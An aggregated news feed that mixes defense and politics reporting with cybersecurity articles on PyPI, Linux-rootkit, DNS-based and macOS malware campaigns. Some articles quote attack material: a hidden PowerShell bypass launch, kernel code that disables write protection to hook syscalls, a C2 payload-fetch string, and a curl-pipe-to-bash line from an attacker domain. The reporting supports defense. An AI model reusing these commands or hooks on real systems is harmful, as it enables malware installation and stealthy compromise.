1010.cx

  • Malicious PyPI Package Mimics as SOCKS5 Proxy Tool Attacking Windows Platforms

    ·

    , ,

    A sophisticated malicious package has infiltrated the Python Package Index (PyPI), masquerading as a legitimate SOCKS5 proxy tool while harboring backdoor capabilities that target Windows systems.

    The SoopSocks package, tracked as XRAY-725599, presents itself as a benign networking utility that creates SOCKS5 proxy services and reports server information to configurable Discord webhooks.

    Soopsocks on PyPI, after JFrog team reported to maintainers (Source – JFrog)

    However, beneath this facade lies a complex multi-stage attack framework designed to establish persistent backdoor access on compromised Windows machines.

    The malware demonstrates remarkable evolution across its version history, progressing from basic SOCKS5 implementations in versions 0.1.0 through 0.1.2 to sophisticated deployment mechanisms incorporating Windows service integration, VBScript installers, and compiled Go executables.

    This progression indicates deliberate development aimed at enhancing stealth capabilities and bypassing security controls through automated installation processes that leverage both VBScript and executable deployment vectors.

    JFrog Security Research analysts identified the malicious package during their routine monitoring of open-source repositories, recognizing suspicious behaviors that warranted deeper investigation.

    The package’s deceptive nature lies in its functional SOCKS5 proxy capabilities, which provide legitimate functionality while simultaneously establishing covert communication channels and persistent access mechanisms.

    The primary threat emerges from the package’s ability to install itself as a Windows service with elevated privileges, automatically configure firewall rules, and maintain continuous communication with command and control infrastructure.

    The malware employs multiple persistence mechanisms including scheduled tasks, Windows services, and automatic startup configurations, ensuring survival across system reboots and user sessions.

    Stealth Installation and Persistence Mechanisms

    The current iteration of SoopSocks employs a sophisticated installation mechanism centered around the _autorun.exe executable, a PE32+ binary compiled from Go source code that orchestrates the entire deployment process with minimal user interaction.

    This executable utilizes PowerShell as its primary orchestration mechanism while implementing multiple evasion techniques designed to avoid detection and user visibility.

    The installation process begins when the executable launches PowerShell with carefully crafted parameters that bypass standard security controls and logging mechanisms.

    The malware sets the execution policy to Bypass, skips profile loading to avoid detection hooks, suppresses error output to prevent user alerts, and hides interactive prompts throughout the installation sequence.

    This configuration allows the malware to execute multiple deployment stages without triggering user notifications or administrator alerts.

    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden

    Once operational, the malware copies itself to C:\Program Files\socks5svc\socks5svc.exe and establishes persistence through Windows service installation using the Go service library github.com/kardianos/service.

    The service, named SoopSocksSvc, configures automatic startup with elevated permissions, ensuring continued operation across system restarts.

    Additionally, the malware implements a fallback mechanism through scheduled tasks named SoopSocksAuto that trigger on system startup and user logon events.

    The persistence strategy extends beyond service installation to include automatic firewall rule configuration that opens inbound TCP and UDP communications on port 1080.

    These rules, designated as “SoopSocks TCP 1080” and “SoopSocks UDP 1080,” facilitate the SOCKS5 proxy functionality while providing attackers with unrestricted network access through the compromised system.

    The malware’s ability to automatically escalate privileges through UAC bypass mechanisms ensures successful deployment even on systems with standard user accounts, representing a significant security concern for organizational environments.

    Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

    The post Malicious PyPI Package Mimics as SOCKS5 Proxy Tool Attacking Windows Platforms appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Poland seeks better counter-drone tech after Russian incursion

    ·

    The Polish government believes Russia deliberately sent drones into its airspace last month to test the resolve of the country and its NATO allies—and that such tests will keep coming. That means the Polish military needs a better counter-unmanned systems plan, Foreign Minister Radosław Sikorski told reporters on Wednesday.

    Though the Dutch, Germans, and Italians all chipped into the response with air power and missile defenses, Sikorski said fighter jets and Patriots are probably not the best platform to take down cheap, unarmed drones.

    “It is uneconomical and impractical to be defending our space with F-35s using Sidewinder missiles against drones,” he said. “If we are to defend the NATO airspace from a hypothetical large number of drones on the same night, then we need to fill the gap in the ladder of our responses.”

    The European Union is leading that effort, he added, securing $150 billion in loans for member states, as well as joint ventures with Ukraine, whose counter-UAS prowess was born out of necessity in the nearly four years it’s been fighting off Russian drones.

    “Ukraine is now the best country in the world, on our side, on drone war, on drones and anti-drone,” Sikorski said. “And then Ukraine and Russia are in a race, which means that Russia is better than us.”

    NATO’s Joint Analysis, Training And Education Centre is standing up in Poland with the express task to help procure this type of technology,, he said

    “You know, militaries are very conservative, and there's a threat that they will, you know, buy the toys that they've always wanted rather than address the next challenge,” Sikorski said. “So yes, we need to shake them up, to really implement the lessons learned from this war.”

    Poking the bear

    Assessments so far have found that the Russian drones that entered Polish airspace on Sept. 9 and 10, then later Romania, Estonia, and Denmark, are part of a coordinated campaign. 

    On the night of Sept. 9, Sikorski said, the drones that entered Polish airspace were distinct from a separate operation by the Ukrainians. First, they launched from a different location, but they were also all unarmed, while Ukrainian strategy has been to send unarmed drones first to swamp anti-aircraft defenses, then send the armed drones to attack.

    “What reached Poland was exclusively unarmed drones, and they flew along the Ukrainian-Belarusian border, criss-crossing it,” Sikorski said. “And normally, the Belarusians try to shoot down Russian drones that have lost their way before they enter the Polish airspace. This time they were ordered not to do it, and the firefight with the drones took all night.”

    They clearly didn’t want to start a war, he added, because the drones weren’t armed, but they wanted to test the response. 

    Poland is prepared to shoot down Russian aircraft in the future, Sikorski said, and that stance has been backed up by both the NATO secretary general and President Donald Trump.

    In addition to better counter-drone technology, Poland is hoping that the continuous presence of U.S. troops on the ground there will also deter Russia. 

    “Obviously, we hope that what President Trump promised our president two weeks ago in Washington, that the U.S. troop presence in Poland will not go down, and it can even go up,” he said.

    The U.S. Army’s forward-deployed V Corps headquarters at Camp Kosciuszko rotates in about 10,000 soldiers at a time. Poland offsets the cost to the tune of $15,000 per soldier per year, Sikorski said. 

    “Which means that it's actually cheaper to keep and to exercise your soldiers in Poland than in the United States.”

    ]]>

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Trump administration knocks out at least 15 oversight websites, saying IGs ‘lied to the public’

    ·

    At least 15 government oversight websites went down — and with them, access to watchdog reports and required hotline and whistleblower links — as of Wednesday morning. That's not due to the federal shutdown that began at midnight; it's a deliberate move by the White House, whose Office of Management and Budget is withholding funds from the Council of the Inspectors General on Integrity and Efficiency, or CIGIE. 

    The CIGIE's homepage, which was operating normally on Tuesday evening, has been replaced with a single line of text: “Due to a lack of apportionment of funds, this website is currently unavailable.”  

    The same line is displayed by the Office of Inspector General websites for the Departments of Agriculture, Education, Justice, Interior and Veterans Affairs, and by those of AmeriCorps, Environmental Protection Agency, Export-Import Bank of the United States, International Trade Commission, National Archives and Records Administration, Nuclear Regulatory Commission, Office of Personnel Management, and Treasury Inspector General for Tax Administration. 

    The watchdog website for the Federal Trade Commission says only "bad request," while the site of the National Labor Relations Board's OIG gives a 404 error and the Smithsonian OIG website a 403 error. The website for the Architect of the Capitol offers only hotline information and blames the change on a “funding issue impacting Oversight.gov functions.” 

    CIGIE is an independent entity charged by Congress with addressing oversight issues that involve more than one government agency. It provides training for investigators and auditors and acts as a watchdog for the government watchdog community. 

    It also runs Oversight.gov, which houses over 34,000 reports from most of the 70-plus OIGs, and operates 28 OIG websites that house legally required hotlines for whistleblowers to report suspected cases of government waste, fraud and abuse. That site is also down.

    Asked about the decision, an OMB spokesperson told Nextgov/FCW in a statement that “inspectors general are meant to be impartial watchdogs identifying waste and corruption on behalf of the American people. Unfortunately, they have become corrupt, partisan, and in some cases, have lied to the public.” 

    The move drew immediate criticism from lawmakers, former watchdog officials, and others.

    “Shuttering CIGIE will eviscerate transparency in our federal government,” Mark Greenblatt, former chair of CIGIE and former Inspector General for the Interior Department, said in a Tuesday statement. 

    CIGIE didn’t immediately respond to a request for comment.

    With the websites gone, so is access to the reports of those offices as well as links for whistleblowers. Some of the affected OIG offices have posted to social media to offer phone numbers and alternative online hotline complaint forms. 

    CIGIE warned lawmakers in a letter Saturday that OMB had made a “policy decision” to not apportion funding for fiscal year 2026 for CIGIE, which is primarily funded in a no-year revolving account that member OIGs contribute to, so CIGIE isn't affected by government shutdowns like the one that began at midnight. 

    Some Republicans have pushed back on the move. 

    Sens. Susan Collins, R-Maine, chair of the Senate Committee on Appropriations, and Chuck Grassley, R-Iowa, Senate Judiciary chair, wrote to OMB Monday asking the White House office “to promptly reverse course so that CIGIE and PRAC can continue their important oversight work uninterrupted.”

    Tammy Hull, the acting chair of CIGIE and current OIG for the U.S. Postal Service, warned lawmakers in the Saturday letter that OMB’s decision will also interrupt the work of the Pandemic Response Accountability Committee, which “relies on CIGIE for IT infrastructure and security, personnel, and contracting support, among other services.”

    Congress recently extended the authorization of that committee through 2034 in the administration’s One Big Beautiful Bill Act.

    Linda Miller, president and co-founder of the Program Integrity Alliance, told Nextgov/FCW in a statement that her biggest concern is “whether defunding CIGIE is a harbinger of what’s to come with the inspector generals offices themselves.”

    “If the administration plans to reduce or eliminate the role of the inspectors general, I think we all should be very concerned about integrity in the federal government. We don’t want to go back to the way things were pre-Watergate, when agency leaders didn’t have the accountability mechanisms in place that they do today,” Miller said. 

    This is the latest Trump-administration move against the watchdog community. Shortly after the president took office, he fired nearly 20 inspectors general, a move that a federal judge recently said was an “obvious” violation of the law. 

    Just yesterday, Defense Secretary Pete Hegseth announced a review of the reporting processes for Defense Department’s IG, which is currently investigating him for allegedly using an unsecure, unapproved app to conduct official business in the form of sending strike plans over Signal.

    The Trump administration has said that a top priority is fighting fraud, waste, and abuse—the very purview of inspectors general. 

    “None of this makes any sense,” Jenny Rone, former deputy inspector general for the Department of Agriculture until early this year, told Nextgov/FCW. “If that's what the administration priorities are, the people that have been doing this since 1978 are the ones that should be relied on.”

    “Undermining whistleblower protections is a hallmark of authoritarian systems and a direct threat to checks and balances,” said Faith Williams, director of the effective and accountable government program at the Project on Government Oversight, in a statement.

    Editor's note: This article has been updated to add more IG sites that are down and correct Greenblatt's former title.

    ]]>

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • New WireTap Attack Extracts Intel SGX ECDSA Key via DDR4 Memory-Bus Interposer

    ·

    In yet another piece of research, academics from Georgia Institute of Technology and Purdue University have demonstrated that the security guarantees offered by Intel’s Software Guard eXtensions (SGX) can be bypassed on DDR4 systems to passively decrypt sensitive data. SGX is designed as a hardware feature in Intel server processors that allows applications to be run in a Trusted Execution

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • New Google Drive Desktop Feature adds AI-powered Ransomware Detection to Prevent Cyberattacks

    ·

    ,

    Google has introduced a new AI-powered ransomware detection feature for Google Drive for desktop, designed to block cyberattacks and protect user files automatically.

    This enhancement adds a significant layer of security for users of Windows and macOS, addressing the persistent and costly threat of ransomware.

    Ransomware continues to be a major cybersecurity challenge for organizations across all sectors, including healthcare, retail, and government.

    Such attacks can lead to severe financial losses, data breaches, and operational disruptions. Last year, ransomware-related incidents accounted for 21% of all intrusions observed by Mandiant, with the average cost of an incident surpassing $5M.

    While Google’s native Workspace files, like Docs and Sheets, are immune to ransomware, and ChromeOS has never had a reported ransomware attack, other common file types, such as PDFs and Microsoft Office documents, remain vulnerable on desktop operating systems.

    A New Layer of Defense

    Traditional antivirus (AV) software, which focuses on identifying and quarantining malicious code before it executes, has proven insufficient against the evolving tactics of ransomware attackers.

    Google’s new approach adds a crucial layer of defense. Instead of just trying to block malware at the entry point, the new feature in Drive for desktop focuses on detecting the core behavior of a ransomware attack, the mass encryption or corruption of files.

    When the AI model detects this signature activity, it rapidly intervenes by pausing file syncing to the cloud. This action effectively contains the attack, preventing the ransomware from corrupting files stored in the Drive and spreading across the network.

    Google Drive Ransomware Detection
    Ransomware Detection

    Google Drive for desktop now uses a specialized AI model trained on millions of real-world ransomware samples to identify malicious file modifications.

    The detection engine continuously learns and adapts by analyzing file changes and incorporating new threat intelligence from VirusTotal.

    Upon detecting suspicious activity indicative of a ransomware attack, Drive for desktop automatically takes several actions:

    • Pauses Syncing: It immediately stops the syncing of affected files to the cloud to prevent the spread of encryption.
    • Alerts the User: The user receives a notification on their desktop and via email, informing them of the detected threat and guiding them through the recovery process.
    • Facilitates Restoration: Users can easily restore their files to a previous, uncorrupted state using an intuitive web interface in Drive. This multi-file restoration can be done with just a few clicks, minimizing data loss and downtime without needing complex IT intervention or third-party tools.
    Google Drive Ransomware Detection
    File restore

    Control and Visibility for IT Teams

    The new feature also provides IT administrators with the necessary tools for management and oversight. When a ransomware event is detected on a user’s device, an alert is generated in the Admin console. Administrators can then use the security center to review detailed audit logs of the event.

    This capability is enabled by default for all eligible customers. However, administrators have the flexibility to disable the detection and restoration features for end-users if required by their organization’s policies.

    Google Drive Ransomware Detection
    Admin Access

    Bob O’Donnell, President and Chief Analyst at TECHnalysis Research, commented, “By seamlessly integrating AI-powered ransomware detection and restore capabilities into Drive, Google is helping organizations with an innovative way to avoid an increasingly common and increasingly dangerous threat while also giving end users the ability to continue working.”

    This new ransomware detection and file restoration feature is currently rolling out in an open beta. It is included at no extra cost in most Google Workspace commercial plans, and the file restoration capability is also available to consumer users for free.

    Follow us on Google News, LinkedIn, and X for daily cybersecurity updates. Contact us to feature your stories.

    The post New Google Drive Desktop Feature adds AI-powered Ransomware Detection to Prevent Cyberattacks appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • New FlipSwitch Hooking Technique Bypasses Linux Kernel Defenses

    ·

    , ,

    The cybersecurity landscape witnessed the emergence of a sophisticated rootkit variation, FlipSwitch, targeting modern Linux kernels. First surfacing in late September 2025, FlipSwitch exploits recent changes in syscall dispatching to implant stealthy hooks directly into kernel code.

    Early indicators suggest attackers leverage this novel approach to evade traditional detection, compromising critical infrastructure and cloud environments.

    As organizations race to patch and monitor their systems, FlipSwitch underscores the evolving cat-and-mouse dynamic between kernel hardening efforts and adversary innovation.

    FlipSwitch’s arrival follows the adoption of Linux kernel 6.9, which replaced the classic syscall_table array lookup with a switch-statement dispatch within the x64_syscall function.

    While this change closed off traditional pointer-overwrite methods, it inadvertently introduced a new attack surface.

    Elastic analysts noted that FlipSwitch takes advantage of this very transformation, carving a path through updated defenses and restoring adversaries’ ability to redirect system calls at will.

    Elastic researchers identified FlipSwitch after observing anomalous syscalls in hardened environments, linking them back to a proof-of-concept module hidden within legitimate kernel modules.

    Through careful reverse engineering, analysts uncovered the rootkit’s approach: rather than tampering with deprecated dispatch tables, FlipSwitch patches the compiled machine code of the x64_syscall dispatcher itself, flipping the hook at runtime without altering the kernel’s data structures.

    Unlike prior rootkits that relied on data-structure corruption, FlipSwitch’s mechanism is remarkably precise.

    By scanning the raw bytes of x64_syscall for the unique opcode pattern corresponding to the call instruction invoking a target syscall, the rootkit locates a single insertion point.

    Next, it disables memory write protections at the CPU level by clearing the WP bit in the CR0 register, overwriting the call’s relative offset to divert execution into a malicious callback.

    Once the malicious code executes, the original syscall behavior is restored by re-enabling write protection and reverting the offset, leaving minimal forensic artifacts.

    Infection Mechanism and Persistence

    FlipSwitch achieves initial kernel-space foothold through a two-stage loader embedded within a seemingly benign kernel module.

    Upon module insertion, the loader leverages a kprobe on a trusted kernel function to derive the address of kallsyms_lookup_name, circumventing its non-exported status.

    With this address, the loader obtains pointers to both target syscalls (e.g., sys_kill) and the x64_syscall dispatcher. It then calls a helper function to locate the precise call instruction:-

    static inline void disable_write_protection(void) {
    unsigned long cr0 = read_cr0();
    write_cr0(cr0 & ~X86_CR0_WP);
}

static inline void enable_write_protection(void) {
    unsigned long cr0 = read_cr0();
    write_cr0(cr0 | X86_CR0_WP);
}

void apply_flipswitch_hook(void *dispatcher, unsigned long target) {
    disable_write_protection();
    // Overwrite 4-byte offset at hook_offset to point to fake_kill
    *(int32_t *)(dispatcher + hook_offset + 1) = calc_relative(target, hook_offset);
    enable_write_protection();
}

    After patching, FlipSwitch unloads its loader, restoring the kernel’s write-protection settings and leaving only the modified instruction in memory.

    This two-stage process ensures both stealth and persistence: the loader’s footprint vanishes after execution, and the hook remains active until the kernel module is removed or the system reboots.

    FlipSwitch’s development highlights the need for advanced memory-integrity monitoring and the continued evolution of in-kernel security mechanisms.

    As defenders adapt, rootkit authors will doubtless seek new avenues to subvert them, reinforcing the imperative for layered detection and proactive threat hunting.

    Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

    The post New FlipSwitch Hooking Technique Bypasses Linux Kernel Defenses appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • New DNS Malware Detour Dog Delivers Strela Stealer Using DNS TXT Records

    ·

    , ,

    A sophisticated DNS-based malware campaign has emerged, utilizing thousands of compromised websites worldwide to deliver the Strela Stealer information-stealing malware through an unprecedented technique involving DNS TXT records.

    The threat, tracked as Detour Dog by security researchers, represents a significant evolution in malware distribution methods that leverages the Domain Name System as both a command-and-control mechanism and delivery channel.

    The malware campaign affects tens of thousands of websites globally, creating a vast network of infected hosts that communicate with actor-controlled name servers through specially crafted DNS queries.

    These server-side DNS requests remain invisible to website visitors, allowing the malicious infrastructure to operate covertly while maintaining the appearance of legitimate web traffic.

    The infected sites conditionally redirect visitors to malicious content based on their geographic location and device type, creating a sophisticated filtering mechanism that helps evade detection.

    Detour Dog has evolved significantly from its origins as a redirect-to-scam operation.

    The threat actor behind this campaign has been active since at least August 2023, initially focusing on redirecting users to fraudulent websites and tech support scams.

    However, recent developments show a marked shift toward direct malware distribution, particularly in campaigns targeting European users with the Strela Stealer payload.

    Infoblox analysts identified the connection between Detour Dog infrastructure and Strela Stealer operations during summer 2025, when they discovered that at least 69 percent of confirmed StarFish staging hosts were under Detour Dog control.

    Multiple attack vectors utilize Detour Dog-controlled assets (Source – Infoblox)

    This finding revealed that the threat actor was not merely redirecting traffic but actively participating in multi-stage malware delivery chains that culminated in information theft operations.

    Advanced DNS TXT Command and Control Infrastructure

    The technical sophistication of Detour Dog’s DNS-based command and control system represents a novel approach to malware communication that exploits the typically overlooked DNS TXT record functionality.

    The infected websites generate DNS queries following a structured format that embeds victim information directly into the subdomain structure:-

    <infected-host>.<visitor-ip>.<rand-num>.<type>.c2_domain

    The system underwent a significant upgrade in spring 2025 when operators added remote code execution capabilities triggered by Base64-encoded responses containing the keyword “down.”

    When an infected site receives such a response, it strips the prefix and uses curl to fetch content from specified URLs, effectively turning compromised websites into proxy servers for malware distribution.

    The DNS TXT responses follow a specific format that enables complex multi-stage payload delivery.

    For example, a decoded response might appear as:-

    downhttp://updatemsdnserver.com/script.php?u=j6cwaj0h67

    This command instructs the infected site to retrieve content from a StarFish C2 server and relay it back to the victim, creating a distributed delivery network that obscures the true source of malicious content.

    The system supports both script.php and file.php endpoints, corresponding to different stages of the Strela Stealer delivery process.

    The threat actor has demonstrated remarkable resilience in maintaining their infrastructure. When the Shadowserver Foundation sinkholed the webdmonitor.io domain in August 2025, Detour Dog operators established a replacement C2 server within hours, seamlessly transferring control of their infected website network to the new aeroarrows.io domain.

    Analysis of sinkhole data revealed approximately 30,000 unique domains spanning 584 distinct top-level domains, all generating properly formatted DNS TXT queries to the actor-controlled infrastructure.

    The scale and persistence of this operation highlight the effectiveness of DNS as a covert communication channel for malware operations.

    The distributed nature of the infected website network, combined with the legitimate appearance of DNS traffic, creates significant challenges for traditional security monitoring systems that may not scrutinize TXT record communications with the same intensity applied to other network protocols.

    This represents a significant advancement in malware distribution techniques, where DNS infrastructure serves dual purposes as both a command channel and a content delivery mechanism, creating a resilient and difficult-to-detect threat ecosystem.

    Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

    The post New DNS Malware Detour Dog Delivers Strela Stealer Using DNS TXT Records appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Hackers Abuse EV Certificates to Sign Completely Undetectable DMG Malware

    ·

    , ,

    In recent weeks, security analysts have observed a new wave of macOS attacks leveraging legitimately issued Extended Validation (EV) certificates to sign malicious disk images (DMGs).

    This technique allows malware authors to evade detection by VirusTotal and built-in macOS security checks.

    The campaign first surfaced when multiple samples appeared on threat intelligence feeds, each bearing a valid Developer ID Application signature.

    Attackers are exploiting the high cost and stringent vetting of EV certificates to lend an air of legitimacy to otherwise malicious payloads.

    Initial infections appear to be delivered via phishing lures, with compromised websites hosting the signed DMG installers masquerading as legitimate applications.

    Who said what? (@g0njxa), a researcher noted that the abuse of EV certificates is not confined to Windows malware—it is increasingly present on macOS threats as well.

    He identified a novel signed DMG, fully undetectable on VirusTotal, issued under the Developer ID “THOMAS BOULAY DUVAL (J97GLQ5KW9)”.

    The sample (SHA256: a031ba8111ded0c11acfedea9ab83b4be8274584da71bcc88ff72e2d51957dd7) displays a bundle identifier mimicking the signer name (e.g., “thomas.parfums”), a poor attempt to camouflage within legitimate software distributions.

    Once reported, these certificates are revoked, but not before they have enabled significant stealth in early campaign stages.

    Despite the high financial and procedural barrier to obtaining Apple EV certificates, threat actors appear willing to invest in them, knowing that revocation may come too late to prevent initial compromise.

    This underscores a growing trend: adversaries trading speed for legitimacy by leveraging established trust chains.

    Infection Mechanism

    The primary infection mechanism begins with a signed DMG that, when mounted, executes an embedded AppleScript launcher.

    Examination of the Mach-O binary within the DMG reveals hardcoded references to a remote script host:-

    #!/usr/bin/osascript
do shell script "curl -sL https://franceparfumes[.]org/parfume/install.sh | bash"

    Upon execution, the script downloads and executes an ARM64-compiled payload that establishes persistence by writing a LaunchAgent plist to ~/Library/LaunchAgents/com.thomas.parfums.agent.plist and relaunches itself at login.

    This method bypasses Gatekeeper checks by relying on the valid EV signature and avoids triggering MRT scans, resulting in a fully undetectable installation flow.

    Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

    The post Hackers Abuse EV Certificates to Sign Completely Undetectable DMG Malware appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • The D Brief: Reactions to Quantico; Shutdown, in effect; USAF chief nom; GOP govs call out troops; And a bit more.

    ·

    SecDef used his unprecedented meeting to unveil 10 personnel and due-process initiatives. Hundreds of admirals, generals, and senior enlisted leaders sat mostly silent as Pete Hegseth strode a stage at Quantico, Virginia, on Tuesday, inveighing against “fat” troops and leaders and announcing initiatives around physical fitness and grooming standards, the inspector general process, and mandatory training. Some of the initiatives flow from reviews Hegseth has ordered since taking the job in January. 

    Others take aim at processes that affect or have affected the secretary himself. For example, he called for a review of the inspector general process, which enables troops to anonymously report concerns without fear of retaliation. Hegseth is under investigation by the department’s inspector general for allegedly using an unsecure, unapproved app to conduct official business in the form of sending strike plans over Signal.

    He also called for a review of the rules governing the retention of “adverse information” on personnel records, which can hamstring a service member’s assignment or promotion chances. Hegseth has said he resigned from the D.C. National Guard in 2021 after his superiors concluded that his tattoos were associated with white supremacist ideology and barred him from serving at Biden inaugural events. Defense One’s Meghann Myers reports on the event and lists the 10 new initiatives, here.

    Rewind: You can watch Hegseth’s speech at C-Span or read DOD’s transcript of it.

    Hegseth was followed by President Trump, whose hourlong talk meandered among various subjects. Former Naval War College professor Tom Nichols wrote at The Atlantic, “The most ominous part of his speech came when he told the military officers that they would be part of the solution to domestic threats, fighting the ‘enemy from within.’ He added, almost as a kind of trollish afterthought, that he’d told Hegseth, ‘We should use some of these dangerous cities as training grounds for our military—National Guard, but military—because we’re going into Chicago very soon. That’s a big city with an incompetent governor. Stupid governor.’”

    CNN tallied and annotated a wide variety of false claims Trump told the generals in a fact check from reporter Daniel Dale, here. 

    In reruns: Watch Trump’s speech on C-Span or read a transcript via Roll Call.

    Capitol Hill reax:

    • Marine veteran Sen. Dan Sullivan, R-Alaska: “Way to go, [Hegseth]! If you can’t make the weight, get on the pull-up bar, or do PFTs, you don’t belong in the U.S. military.”
    • Army veteran Sen. Tom Cotton, R-Ark., and member of the Armed Services Committee: “The terrific speeches by President Trump and [Hegseth] outlined a bright future for our armed forces. By removing politics, emphasizing fitness standards and combat readiness, our military is refocused on deterring wars and winning them if necessary.”
    • Sen. Lindsey Graham, R-S.C., former Air Force JAG officer: “President Trump articulated a vision of peace through strength and one of ending wars decisively if they start. He re-emphasized his commitment to sell high-end weapons to Ukraine and to continue to pursue peace in the Middle East. It is a breath of fresh air to see a Commander-in-Chief expressing unending pride in our military and being strong without apology. Whether it’s interdicting drug boats bound for the United States or outlining what it means to have a warrior’s spirit, it is clear that President Trump and his defense team are implementing a new era of strength and commitment to protecting America on all fronts.”
    • Sen. Jack Reed, D-R.I., and ranking member on the Armed Services Committee: Hegseth’s speech “signals that partisan loyalty matters more than capability, judgment, or service to the Constitution, undermining the principle of a professional, nonpartisan military,” and Trump's “reckless suggestion that American cities be used as ‘training grounds’ for U.S. troops is a dangerous assault on our democracy, treating our own communities as war zones and our citizens as enemies.”
    • Retired Navy officer Mark Kelly, D-Ariz., and SASC member: “We have the most lethal military in the world. All of this (parades, picking up garbage in US cities and unnecessary meetings) distracts from the mission and if anything makes us less lethal. This is what you get when you install the Saturday morning news guy as Secretary of Defense.”
    • Army veteran Sen. Tammy Duckworth, D-Illinois, and also a member of SASC: “The nation’s top defense leader encouraging hazing troops who answered the call to fight and die for us is utterly appalling, especially from someone who should know that American troops have died from hazing. He also claimed that weakening rules of engagement strengthens our warfighters, when in reality it will simply create more enemies of America and make it more likely those enemies would torture captured American troops. And his claim that diversity is ‘debris’ erases the valor shown by women, people of color and many others who’ve served in uniform since this country’s founding and makes a mockery of our Veterans.” And the president’s “desire to use American cities as ‘training grounds for our military’ isn’t just intrinsically un-American, it’s unconstitutional and is the sort of misuse of the military that tin-pot dictators—not Presidents—are known for,” Duckworth said in a statement. 

    Stateside headlines: 

    • Washington Post: “Trump tells a roomful of silent generals to join a ‘war from within’”
    • Wall Street Journal: “Trump tells generals the military will be used to fight ‘enemy within’”
    • Los Angeles Times: “Trump says he wants to use US cities as training grounds for military”
    • New York Times: “Trump Tells Top Brass U.S. Cities Should Be Military ‘Training Grounds,’” but the Times later pivoted to, “Trump and Hegseth Recount Familiar Partisan Complaints to Top Military Leaders”
    • And the Associated Press: “Hegseth wants ‘male standard’ for combat roles. Many female veterans say that’s already the case”

    How Trump’s speech played overseas: 

    • BBC: “US cities should be military training grounds, Trump tells generals”
    • AFP: “Trump says US cities should be military ‘training grounds’”
    • Le Monde: “‘War from within,’ end of beards, stricter physical tests: Trump and Hegseth unveil new direction for US military”
    • Yonhap: “Trump highlights homeland security as ‘first, most important’ priority for U.S. military”
    • Japan Times: “Trump speech to military brass hints at looming Pentagon shift to focus on homeland”

    Welcome to this Wednesday edition of The D Brief, a newsletter dedicated to developments affecting the future of U.S. national security, brought to you by Ben Watson and Bradley Peniston with Tom Novelly. It’s more important than ever to stay informed, so thank you for reading. Share your tips and feedback here. And if you’re not already subscribed, you can do that here. On this day in 1961, the Defense Intelligence Agency was formed. 

    Around the Defense Department

    The Air Force’s leadership shakeup continues. Gen. Thomas Bussiere, the head of Air Force Global Strike Command, announced he was stepping away from his military career. Bussiere said Tuesday evening in a LinkedIn post he “made the difficult decision to request retirement from the United States Air Force for personal and family reasons.”

    Bussiere: “While I’m stepping away from active duty, my commitment to service remains,” the four-star general said. “I look forward to finding new ways to support our Air Force, our national defense, and the incredible people who make it all possible.” 

    His sudden announcement follows Trump’s speech Tuesday, and it comes after Bussiere’s nomination to serve as the Air Force’s vice chief of staff was withdrawn last month without any public explanation. Bussiere had overseen aspects of Operation Midnight Hammer, the B-2 bomber mission this summer targeting Iran’s nuclear facilities. 

    It also immediately follows President Donald Trump’s nomination of Gen. Ken Wilsbach, the former head of Air Combat Command, to serve as the service’s new top uniformed leader. “The trust and confidence placed in me is not something I take lightly,” Wilsbach said in a press release Tuesday. “If confirmed, I intend to strengthen our warrior ethos and to build a more lethal force that is always ready to defend our homeland and deter our adversaries around the world.”

    Also: America’s military drawdown from Iraq continues, Pentagon Spokesman Sean Parnell said in a statement Wednesday. “In accordance with the President’s guidance and in alignment with the U.S.-Iraq Higher Military Commission and the joint statement issued on Sept. 27, 2024, the United States and Coalition partners will reduce its military mission in Iraq. This reduction reflects our combined success in fighting ISIS and marks an effort to transition to a lasting U.S.-Iraq security partnership in accordance with U.S. national interests, the Iraqi Constitution, and the U.S.-Iraq Strategic Framework Agreement.” More, here. 

    Additional reading: 

    More troops in American cities

    Louisiana’s GOP governor wants to deploy 1,000 National Guard troops across his state until at least October 2026. “The proposed mission and scope for the Louisiana National Guard would be to deploy throughout the state to urban centers, supplement law enforcement presence in high-crime areas, provide logistical and communication support, and secure critical infrastructure,” Gov. Jeff Landry said in his Monday letter to the Defense Department. The troops are expected to spread out across New Orleans, Baton Rouge, and Shreveport, the only three cities Landry mentioned in his letter. 

    “This request builds upon the successful model of Title 32 deployments in other jurisdictions, including Washington D.C. and Tennessee, and will provide critical support during several high-profile events, including the Bayou Classic, Sugar Bowl, and Mardi Gras. Louisiana National Guard deployments to New Orleans following Hurricane Ida (2021), Hurricane Francine (2024), the January Ist Terrorist Attack, Superbowl LIX, and Mardi Gras (2025),” Landry said in the letter. 

    Local reax: “Crime is not eliminated by soldiers on the streets—crime is reduced when people have access to better jobs/careers/wages, education, healthcare, and opportunity,” said Rep. Joy Walters, a Democrat from Shreveport. 

    Panning out: “New Orleans has had the fewest murders this year since 1970,” said crime trends analyst Jeff Asher, writing Monday on social media. “This is a wholly unnecessary stunt,” he added. Read more at The Daily Beast. 

    Critical reax: “The National Guard is supposed to protect our state during real emergencies, not to serve as political props,” said Alanah Odoms, executive director of the ACLU of Louisiana. “Flooding the cities we love with military troops is dangerous and would make people afraid to go about their daily lives. Safe communities are built by investing in our communities,” she said. 

